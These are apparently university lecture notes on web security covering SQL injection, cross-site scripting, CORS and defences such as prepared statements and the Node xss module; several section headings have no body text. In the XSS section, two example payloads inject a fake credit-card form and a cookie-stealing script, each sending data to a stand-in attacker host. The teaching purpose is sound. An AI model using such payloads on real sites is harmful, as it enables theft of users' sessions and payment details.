Topic 11: Common Security Issues in Web Development

In this lecture we will look at security issues, including:

Note that the lecture will be accompanied by live examples, demonstrating the exploits - so you should make every effort to either attend the lecture live or watch the recording later. If you read the notes alone, you will get less value from this topic.

Firstly, why security?

SQL Injection

Another example

Prepared statements and placeholders to prevent SQL injection

We have in fact been writing our code in a manner to prevent SQL injection all along. If you look at the code above, you will see it is unlike the code we've been developing so far. We've been using prepared statements with placeholders, which prevents SQL injection occurring. With prepared statements, the SQL statements are compiled (prepared) into a binary form, which is executed more rapidly by the database, and this binary form is cached and thus can then be re-used, improving the efficiency of your application. The placeholders (?) are replaced by the specified input parameters, and this method is not vulnerable to SQL injection.

Cross-site scripting (XSS)

Basic, non-harmful XSS example

Fake forms

A more dangerous example (included in the live demo during the lecture) is injection of a fake HTML form into the genuine site, so that a <form> tag is used in the attack rather than a <script> tag. In this form of attack, the user will be fooled into thinking that the form is provided by the genuine site, and might then enter their credit card details... which will be sent straight back to the attacker!

For example:

<input type="hidden" name="id" 
value="17<form action=http://evilcrackers.example.com/steal>Input credit card:
<input name=creditcard /></form>" />

XSS and Cookie Theft with Embedded JavaScript

This is an even more dangerous XSS attack, involving embedded JavaScript within the links, which could steal user's cookies, including potentially, session cookies. For example the hidden field could contain this:

<input type="hidden" 
name="id" 
value="123<script>window.location='http://evilcrackers.example.com/stealcookie/' 
+ document.cookie</script>" />

Hidden XSS attacks with URL encoding

XSS attacks in a database

Guarding against basic XSS attacks: using the Node xss module

Node makes it easy to guard against XSS attacks using the xss module. With this, you can sanitise any input before it's output again. This invoves replacing characters with special meaning to HTML, such as < and > with their HTML entities, such as &lt; and &gt;. The attack relies on the browser receiving HTML tags in the response, so if these are sanitised, the browser will not interpret them as tags and the attack cannot take place. For example:

import xss from 'xss';
import express from 'express';
const app = express();
app.get('/', (req, res) => {
    const sanitised = xss("<script>alert('666 I am evil!');</script>");
    res.send(sanitised);
});
app.listen(3000);
If the XSS sanitisation had not occurred, then the HTML
<script>alert('666 I am evil!');</script>
would be sent back to the client, and the browser would execute the JavaScript inside the script tags. However with the use of the xss module, the browser receives instead:
&lt;script&gt;alert('666 I am evil!');&lt;/script&gt;
and the browser will not interpret &lt;script&gt; as a script tag, so the attack will not take place.

It's also of note that if you use EJS, this sanitisation takes place automatically when you render (without the need for the xss module), as long as you use <%= rather than <%- to render data.

Using regular expressions in routes

Another way of guarding against XSS attacks is to restrict the characters allowed in a route. This can be done through the use of regular expressions. Regular expressions are a special syntax which are used to detect certain patterns in text (e.g. numbers, letters, or a mix of numbers and letters). For example:

app.post('/song/buy/:ID(\\d+)', (req, res) ...
The \\d+ is a regular expression specifying one or more digits, so if the ID contains anything other than digits it will not match the route.

Simple regular expressions

More simple regular expressions

^\w\w\w\w\w\s\w\w\w\w\w$
^\w{5}\s\w{5}$
^\w+\s\w+$

More on regular expressions

See the documentation for more information on using regular expressions in routes.

XSS, AJAX and CORS

Imagine an XSS attack that takes place over AJAX, in other words a phishing site includes an AJAX-based form to access a legitimate site. Due to the same-origin policy, this would not be allowed by default. For example if evilcrackers.example.com included AJAX forms on their phishing site and tried to send an AJAX request to hittastic.example.com, it would be blocked because the request is from a different server. This is the basis of the same-origin policy and illustrates why it is applied by default, to reduce the risk of XSS and other similar attacks.

This is why you need to be careful when using CORS, which if you remember, is a way of circumventing the same-origin policy. You should generally avoid opening up all routes of your application to all clients, as it would then make your site vulnerable to AJAX-based XSS attacks. Instead, only open up low-risk endpoints, such as those which do not change any data and do not reveal confidential information. Also, you should explicitly specify the list of allowed clients with CORS if you are concerned about XSS, rather than the wildcard * which allows any client to connect.

General security, privacy and usability recommendations

I would like to finish with a few recommendations when developing web applications, to take into account security, privacy and usability. These include:

Unfortunately some web developers ignore the last point in particular, so much so that making payments on certain sites operated by very well-known companies are impossible with ad-blocker enabled.

In summary...

Hands-on session for today

The source code for the live examples can be found on GitHub. Note that the phishing site uses port 3001, rather than port 3000 - to highlight the fact that it is an entirely separate site.

You should clone the repository:

git clone https://github.com/nwcourses/SecurityDemo
and then install the dependencies with
npm install
There are two servers, as described on the GitHub page; foloow the instructions there.

We will then try out an SQL injection attack and XSS attack, and then modify the code to prevent them happening.